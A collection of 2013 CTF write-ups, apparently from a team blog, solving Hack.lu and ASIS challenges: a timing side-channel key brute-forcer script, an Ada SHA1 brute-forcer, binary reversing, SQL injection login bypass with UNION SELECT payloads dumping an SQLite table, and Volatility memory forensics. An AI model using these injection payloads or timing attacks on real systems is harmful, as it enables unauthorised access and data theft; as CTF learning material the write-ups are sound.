Thursday, October 24, 2013

Hack.lu CTF 2013: Pay TV 200

We were given the challenge "Pay TV" - in the web hacking category. There was no clear objective here, although I knew we were looking for some type of "flag".


After an initial look at the webpage above, I noticed a newspaper on the table with the words "Side Channel Attacks". Researching this, there are many different side channel attacks that usually involve information leaking on the structures of code or crypto-systems (this will become important later). I also found some script that the programmer left in a comment inside a javascript file for the page called "key.js" (seen below).


Knowing this information I then explored the webpage...entering a string into the black box resulted in the following:


So we can see that if we had the right key, it would probably return the flag. On the back-end using Burpsuite, the response from my input looked like this:
{"response": "Wrong key.", "success": false}
Fortunately from key.js I know there is also a "debug" parameter that at some point was sent in the POST request to the /gimmetv page by the developer to debug the webpage.

Sending a POST request that includes a 'debug' parameter produces some interesting results. The POST request looks like this:
'POST /gimmetv HTTP/1.1
Host: ctf.fluxfingers.net:1316
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://ctf.fluxfingers.net:1316/
Content-Length: 26
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

key=key%3Da%26debug%3Dtrue'
...and returns a response of:
{"start": 1382474251.083596, "end": 1382474251.083652, "response": "Wrong key.", "success": false}
From this we see that the server is now returning UNIX system times...we can infer this to mean the time the server received the POST request to the time it finished the request. So if you send the server a bunch of letters one at a time, the end - start time should be larger for letters that the server actually processed if they are in the string.

I quickly built the following python script to manage this POST request for me and check different alphnumeric inputs under the assumption that the string was capitalized:
import urllib, urllib2, json, string
def main():
    letterlist = string.ascii_uppercase + '0123456789'
    for letter in letterlist:
        url = 'https://ctf.fluxfingers.net:1316/gimmetv'
        values = {'key' : 'REPLACEME' + letter, 'debug' : ''}
        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)
        response = json.loads(response.read())
        print 'REPLACEME' + letter + ": " + str(response['end'] - response['start'])
if __name__ == "__main__":
    main()
For REPLACEME, I started with an empty string. The first run returned these results:
A: 0.100333929062
B: 7.20024108887e-05
C: 6.29425048828e-05
D: 3.50475311279e-05
E: 4.10079956055e-05
F: 3.40938568115e-05
G: 3.48091125488e-05
H: 5.60283660889e-05
I: 4.48226928711e-05
J: 3.38554382324e-05
K: 3.2901763916e-05
L: 5.00679016113e-05
M: 4.79221343994e-05
N: 5.41210174561e-05
O: 4.50611114502e-05
P: 6.89029693604e-05
Q: 5.22136688232e-05
R: 0.000123023986816
S: 0.000349998474121
T: 0.000112056732178
U: 0.000273942947388
V: 5.19752502441e-05
W: 3.48091125488e-05
X: 5.69820404053e-05
Y: 4.91142272949e-05
Z: 3.60012054443e-05
0: 5.29289245605e-05
1: 5.10215759277e-05
2: 8.51154327393e-05
3: 6.00814819336e-05
4: 7.20024108887e-05
5: 5.48362731934e-05
6: 3.48091125488e-05
7: 5.50746917725e-05
8: 3.31401824951e-05
9: 0.000118017196655
The 'A' character took the longest to process, and so I added it to the REPLACEME string. Similarly, running the program again generated the next character in the string and I added it to the REPLACEME string. When the times no longer differed, I knew the string was finished.

The final result of running my program was the string "AXMNP93", entering this in the webpage returned the flag! "OH_THAT_ARTWORK!" ~ Hawkeye



Hack.lu CTF 2013 : FluxArchiv[Part1] 400

So we have this program that creates an encrypted archive. We also have an archive that we are supposed to get the password for. Analysis of the program shows that, in order to check a password, it takes the sha1 hash of the password, scrambles it, hashes it again, and compares it to a location stored in the archive (beginning at 12 bytes in). We found the value stored in memory, and brute forced the entire thing using the following Ada program.


with Gnat.Sha1;
with Ada.Text_IO;
use Ada.Text_Io;
procedure Win3 is
   C      : GNAT.SHA1.Context;
   Result : String (1 .. 40);
   Input  : String (1 .. 20);
   Target : String            := "372942df2712824505d8171f4f0bcb14153d39ba";
   Try    : String            := "ZYXWVUTSRQPABCDEFGHIJKLMNO0123456789";
   Index  : Integer;
begin
   for I in Try'range loop
      for J in Try'range loop
         Put_Line(Try(I)&Try(J));
         for K in Try'range loop
            for L in Try'range loop
               for M in Try'range loop
                  for N in Try'range loop
                     C := Gnat.Sha1.Initial_Context;
                     Gnat.Sha1.Update(C,Try(I)&Try(J)&Try(K)&Try(L)&Try(M)&
                        Try(N));
                     Result := Gnat.Sha1.Digest(C);
                     -- FIRST HASH DONE, NOW SCRAMBLE
                     for Count in 0..19 loop
                        Index := Count*7 mod 20;
                        Input(Count+1) := Character'Val(Integer'Value(
                              "16#"&Result(Index*2+1)&Result(Index*2+2)&
                              "#"));
                     end loop;
                     C := Gnat.Sha1.Initial_Context;
                     Gnat.Sha1.Update(C,Input);
                     Result := Gnat.Sha1.Digest(C);
                     if Result=Target then
                        Put_Line(Try(I)&Try(J)&Try(K)&Try(L)&Try(M)&Try(N));
                        Skip_Line;
                     end if;
                  end loop;
               end loop;
            end loop;
         end loop;
      end loop;
   end loop;

end Win3;
key{PWF41L} Write up by albntomat0

Hack.lu CTF 2013 : RoboAuth 150

This program is a simple binary that that verifies two strings that the user provides.  The first string can be found by looking at the memory address at the first compare statement at 0x00401B6C.
.text:00401B54                 call    scanf
.text:00401B59                 lea     eax, [ebp+var_143]
.text:00401B5F                 mov     [esp+164h+var_160], eax
.text:00401B63                 lea     eax, [ebp+var_157]
.text:00401B69                 mov     [esp+164h+var_164], eax
.text:00401B6C                 call    strcmp
.text:00401B71                 test    eax, eax
.text:00401B73                 jnz     short loc_401B8D
.text:00401B75                 mov     [esp+164h+var_164], offset aYouPassedLevel ; "You passed level1!"

Later in the program, it calls an int 3.  The int 3 forces the program to jump to the exception handler that had been set up.  Inside the exception handler, the program takes another set of user input for the second string.  The exception handler calls a decrypt routine.

.text:004015B2                 call    scanf
.text:004015B7                 mov     eax, ds:dword_40AD98
.text:004015BC                 mov     [esp+38h+var_34], eax
.text:004015C0                 lea     eax, [ebp+var_20]
.text:004015C3                 mov     [esp+38h+var_38], eax
.text:004015C6                 call    decryptCompare
.text:004015CB                 test    eax, eax

Inside the decrypt routine, each byte of a stored string is xor'ed by 0x02 then compared.  Settting a breakpoint at the "cmp dl, al" after the xor allows each byte to be extracted.

.text:00401558                 xor     eax, 2
.text:0040155B                 cmp     dl, al
The key, in the format string1_string2, was r0b0RUlez!_w3lld0ne

--Imp3rial

Hack.lu CTF 2013: Robots Exclusion Commitee 150

Navigating to the web page given, we encountered a web page with a form at the bottom asking for a variety of information. After a bit of experimentation, we determined that this form was completely useless and moved on to other possibilities.
Next, using the name as a hint, we decided to check robots.txt and were delighted to see that there was a page forbidden to robots called vault. Naturally we immediately navigated to this page to see what it contained. The page responded with an htaccess form asking for a username and password.

We then began experimenting with this login form. Since it was an input into a form, we figured "why not try SQL injection?" So the first thing we entered was    
' OR '1' = '1'; -- 
which surprisingly logged us in as admin.

The new issue was finding secret #1.  On the vault page, while logged in as admin, we were able to see secret #2, but as the challenge stated, they needed "the first of the blurriest secrets" and that was clearly the second.
Secret #2: 


One red herring we followed for a while was the alt text of secret #2 being 'Supporter Password'.  This led to us attempting to log in to the Supporter user and trying to find a supporter login page.  After a while of bashing at that we moved on.

So we began experimenting more with SQL injection messing with the form.  After brief experimentation we discovered we could log in as other users as well, but that was another dead end.

We then decided to try jumping tables in the database.  At first we tried looking in informationschema we soon learned that this was not a mySQL database.  After a little experimentation with different database structures, we were able to determine it was a SQLITE  database.  In order to find the table name we  input
' UNION SELECT name FROM SQLITE_MASTER WHERE type = 'table'; --
which logged us in as "hiddensecrets."  Lucky us, we had a table name.

Next we needed column names, so we went back to the login and  input
' UNION SELECT sql FROM SQLITE_MASTER WHERE name = 'hiddensecrets'; -- 
Which logged us in once again, this time as
CREATE TABLE hiddensecrets (id INTEGER PRIMARY KEY AUTOINCREMENT, val TEXT).
Having column names our next move was to input
' UNION SELECT val FROM hiddensecrets; -- 
Logged in, we were greeted with the following username:

Hello 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

Which turns out to be a base64 encoded png file with the key eat_all_robots.




#winning

shdwstrk

Wednesday, October 9, 2013

ASIS CTF mem_dump

Notes:

  • Make sure you are running a 64-bit Ubuntu 12.04 system with a 3.5.0-23-generic kernel. You will understand why later.
  • This machine should also have Volatility 2.3 installed.
  • A helpful tool is Sleuthkit: sudo apt-get install sleuthkit


To start, use Sleuthkit's srch_strings on the memory dump and save it to a txt file to save time for future greps. (You should also print the locations of each string in decimal)
$ srch_strings -t d mem.dump > asis_md_grepboot.txt

Next, you want to find what image this memory dump is for. I saved this to a file so I could reference it in the future if need be.
$ grep BOOT_ asis_memdump_srchstr.txt > asis_md_grepboot.txt

$ cat asis_md_grepboot.txt
  30873265 BOOT_IMAGE=/vmlinuz-3.5.0-23-generic
  31515756 Command line: BOOT_IMAGE=/vmlinuz-3.5.0-23-generic root=/dev/mapper/ubuntu--server-root ro
  31520980 Kernel command line: BOOT_IMAGE=/vmlinuz-3.5.0-23-generic root=/dev/mapper/ubuntu--server-root ro
 106342232 NT_STATUS_BAD_MASTER_BOOT_RECORD
 129758942 NT_STATUS_BOOT_ALREADY_ACCEPTED = 0x00000434,
 157849128 NT_STATUS_BAD_MASTER_BOOT_RECORD = 0xc00000a9,
 173586344 NT_STATUS_BOOT_ALREADY_ACCEPTED
 268365920 BOOT_IMAGE=/vmlinuz-3.5.0-23-generic
 268366048 BOOT_IMAGE=/vmlinuz-3.5.0-23-generic root=/dev/mapper/ubuntu--server-root ro
“BOOT_IMAGE=/vmlinuz-3.5.0-23-generic

This lets you know you need to set up a profile for a linux kernal 3.5.0-23-generic

You will have to create a profile manually by using the steps on this page.

Remember you need make the profile on an 64-bit Ubuntu 12.04 system with a 3.5.0-23-generic kernel. Do not try and use the Ubuntu profile provided by volatility, because it is an older version. If it were up to date, you would just place this zip in: Volatility/volatility/plugins/overlays/linux/


A good route to take now is to look at whats sitting in the command history. To do this, you have to locate the /bin/bash offset used by your computer. This site walks you through this quite nicely.

If you do not want to read the article here are the commands:
$ gdb /bin/bash 
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
...
...

(gdb) disassemble history_list
Dump of assembler code for function history_list:
   0x00000000004a53f0 <+0>: mov    0x2490c9(%rip),%rax        # 0x6ee4c0
   0x00000000004a53f7 <+7>: retq   
End of assembler dump.
In the output, the hex offset of the history_list is given as a comment (0x6ee4c0)


With this found offset, you can now view the memory dump's command history
$ vol.py -f mem.dump --profile=LinuxUbuntu1204x64 linux_bash -H 0x6ee4c0

Pid   Name     Command Time                   Command
----- -------- ------------------------------ -------
...
967   bash     2013-08-26 11:27:53 UTC+0000   uname -a
967   bash     2013-08-26 11:27:53 UTC+0000   wget 172.16.133.149:8090/asis-ctf -O /tmp/
967   bash     2013-08-26 11:27:53 UTC+0000   wget 172.16.133.149:8090/asis-ctf
967   bash     2013-08-26 11:27:53 UTC+0000   ls
967   bash     2013-08-26 11:27:53 UTC+0000   du -h asis-ctf 
967   bash     2013-08-26 11:27:53 UTC+0000   chmod +x asis-ctf 
967   bash     2013-08-26 11:27:53 UTC+0000   ./asis-ctf 
967   bash     2013-08-26 11:27:53 UTC+0000   sudo poweroff 
967   bash     2013-08-26 11:27:54 UTC+0000   ls
967   bash     2013-08-26 11:30:37 UTC+0000   ./asis-ctf 
967   bash     2013-08-26 12:00:04 UTC+0000   sudo apt-get install lynx
967   bash     2013-08-26 12:00:27 UTC+0000   lynx 
967   bash     2013-08-26 12:10:44 UTC+0000   sudo apt-get install elinks
967   bash     2013-08-26 12:10:57 UTC+0000   elinks 
967   bash     2013-08-26 12:14:58 UTC+0000   clear
967   bash     2013-08-26 12:15:00 UTC+0000   ls
967   bash     2013-08-26 12:15:28 UTC+0000   cp asis-ctf flag1
967   bash     2013-08-26 12:15:32 UTC+0000   ls -l
967   bash     2013-08-26 12:15:42 UTC+0000   md5sum flag1
...
Looks like an “asis-ctf” program was executed. Is it still running?
$ vol.py -f mem.dump --profile=LinuxUbuntu1204x64 linux_pstree 

Name          Pid      Uid       
------------  -------  ----
...       
.cron         819      0 
.atd          820      0 
.login        837      0 
..bash        967      1000
...asis-ctf   9425     1000
...nano       15584    1000
.apache2      16346    0 
..apache2     16349    33
..apache2     16350    33
..apache2     16351    33
...

It is! So lets look at this process' memory

$ vol.py -f mem.dump --profile=LinuxUbuntu1204x64 linux_proc_maps -p 9425

Pid  Start              End                Flg Pgoff ... Inode  File Path
---- ------------------ ------------------ --- ----- --- ----   -----------------
9425 0x0000000000400000 0x0000000000401000 r-x 0x0       393333 /home/netadmin/asis-ctf
9425 0x0000000000600000 0x0000000000601000 r-- 0x0       393333 /home/netadmin/asis-ctf
9425 0x0000000000601000 0x0000000000602000 rw- 0x1000    393333 /home/netadmin/asis-ctf
---

The rest is unnecessary because they are just shared libraries and stacks involved. Let's look at the first 10 bytes of these files to figure out their file headers contain.

$ hexdump -C -n 10 task.9425.0x400000.vma
00000000  00 00 00 00 00 00 00 00  00 00                    |..........|
$ hexdump -C -n 10 task.9425.0x600000.vma
00000000  7f 45 4c 46 02 01 01 00  00 00                    |.ELF......|

An Elf File! The next file (601000) has a program offset of 1000, so we know that this was a part of that executable. We will want to cat the two files together to make the executable.

$ cat task.9425.0x600000.vma task.9425.0x601000.vma > asis-ctf

Just to double check the file to see if it's an executable, we can run file on it.

$ file asis-ctf
asis-ctf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), stripped

Check.

Time to load it into IDA and do some reversing on it.
Below was the section of code that was found to be adding an pseudo encrypted version of the key.
LOAD:0000000000400683                 mov     byte ptr [rbp+var_A0], 42h
LOAD:000000000040068A                 mov     byte ptr [rbp+var_A0+1], 49h
LOAD:0000000000400691                 mov     byte ptr [rbp+var_A0+2], 55h
LOAD:0000000000400698                 mov     byte ptr [rbp+var_A0+3], 52h
LOAD:000000000040069F                 mov     byte ptr [rbp+var_A0+4], 4Ch
LOAD:00000000004006A6                 mov     byte ptr [rbp+var_A0+5], 41h
LOAD:00000000004006AD                 mov     byte ptr [rbp+var_A0+6], 57h
LOAD:00000000004006B4                 mov     byte ptr [rbp+var_A0+7], 4Eh
LOAD:00000000004006BB                 mov     [rbp+var_98], 64h
LOAD:00000000004006C2                 mov     [rbp+var_97], 5Fh
LOAD:00000000004006C9                 mov     [rbp+var_96], 69h
LOAD:00000000004006D0                 mov     [rbp+var_95], 37h
...
And this was the section found to be doing the decoding and printing.
LOAD:0000000000400867 loc_400867:                             ; CODE XREF: sub_400644+25B j
LOAD:0000000000400867                 mov     eax, [rbp+var_A4]
LOAD:000000000040086D                 add     eax, eax
LOAD:000000000040086F                 cdqe
LOAD:0000000000400871                 movzx   eax, byte ptr [rbp+rax+var_A0]
LOAD:0000000000400879                 movsx   eax, al
LOAD:000000000040087C                 sub     eax, [rbp+var_A4]
LOAD:0000000000400882                 sub     eax, 1
LOAD:0000000000400885                 mov     edi, eax
LOAD:0000000000400887                 call    sub_400500
LOAD:000000000040088C                 add     [rbp+var_A4], 1
LOAD:0000000000400893
Since the executable was not runnable, we had to create a python code that would take these inputs, convert them to decimal and do the decoding method.
hex_input = "42 49 55 52 4c 41 57 4e 64 5f 69 37 69 31 3e 63 6b 65 6c 33 3b 34 3d 65 3f 65 6f 63 47 31 75 36 72 66 42 62 4a 65 75 39 49 66 48 34 4d 32 4a 34 4e 37 4e 32 4d 35 55 65 50 37 82 32 84 61 52 35 83 39 85 61 53 34 89 39 8b 64 26"
dec_input = []
for h in hex_input.split(" "): #using space as a delimeter
    dec_input.append(int('0x' + h, 16)) #add a 0x to each hex input and decode it to an int

flag = ""
for i in range(0, 37):
    flag += chr(dec_input[2 * i] - i - 1) #from print method in recovered executable.
print flag

>>>ASIS_cb6bb012a8ea07a426254293de2bc0ef

Victory!

-hackarali